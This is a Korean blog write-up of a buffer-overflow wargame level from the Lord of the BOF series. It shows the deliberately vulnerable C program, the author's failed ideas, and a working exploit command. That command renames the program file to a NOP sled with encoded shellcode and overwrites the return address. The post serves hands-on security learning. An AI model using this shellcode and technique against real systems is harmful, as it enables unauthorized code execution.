lob

vampire

oogu ㅣ 2022. 12. 12. 14:51

/*
        The Lord of the BOF : The Fellowship of the BOF
        - skeleton
        - argv hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i, saved_argc;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        // argc saver
        saved_argc = argc;

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

        // ultra argv hunter!
        for(i=0; i<saved_argc; i++)
                memset(argv[i], 0, strlen(argv[i]));
}

[그림 1-1]

1. argv 입력

2. 환경변수 x

3. argv[1] 48번째 글자 \xbf

4. argv[1] 길이 48이하

5. buffer 변수 초기화

6. argv 값 초기화

 

음..가장 먼저 생각이 든게 argv[2]에  dummy + NULL + Shellcode 넣을 생각했다. 코드 마지막 argv 초기화 시킬때 strlen에서 dummy + NULL 에 만나서 shellcode는 안지워지는 줄 알고 해봤는데 스택에 \x00이 안들어간다..

 

두 번째 방법으로 saved_argc = argc; 가 먼저 실행되고 bof 가 되니까 saved_argc 변수값을 바꾸면 초기화가 안되지 않을까 했는데 saved_argc 변수값을 바꿀 수 가 없었다..

 

롸업을 보니까 스택 마지막 부분에 프로그램 경로가 존재한다고 한다.. 찾아보자 (argv[0] 초기화되서 파일명 못 쓸 줄 알았는데..)

[그림 1-2]

leave 에 break 를 걸고 argv[1] 에 dummy 값을 넣고 run 하자

[그림 1-3]

x/100s 통해 찾다 보니까 프로그램 경로와 파일명이 존재한다.

파일명을 nop와 shellcode로 변경하고 ret에서 저기로 jmp 해보자

 

[그림 1-4]

./`python -c 'print("\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*50)'` `python -c 'print("a"*44+"\x72\xff\xff\xbf")'`

 

파일명에 /x2f가 있으면 안되니까 다른 쉘 코드를 사용하고 쉘코드 사이에 nop 를 넣어줘야 exploit이 된다.. 삽질하다가 알음..

 

 

1. 스택 끝자락에 프로그램 경로와 파일명이 존재한다!

'lob' 카테고리의 다른 글

golem  (1) 2022.12.16
skeleton  (0) 2022.12.13
troll  (0) 2022.12.11
orge  (0) 2022.12.10
darkelf  (0) 2022.12.10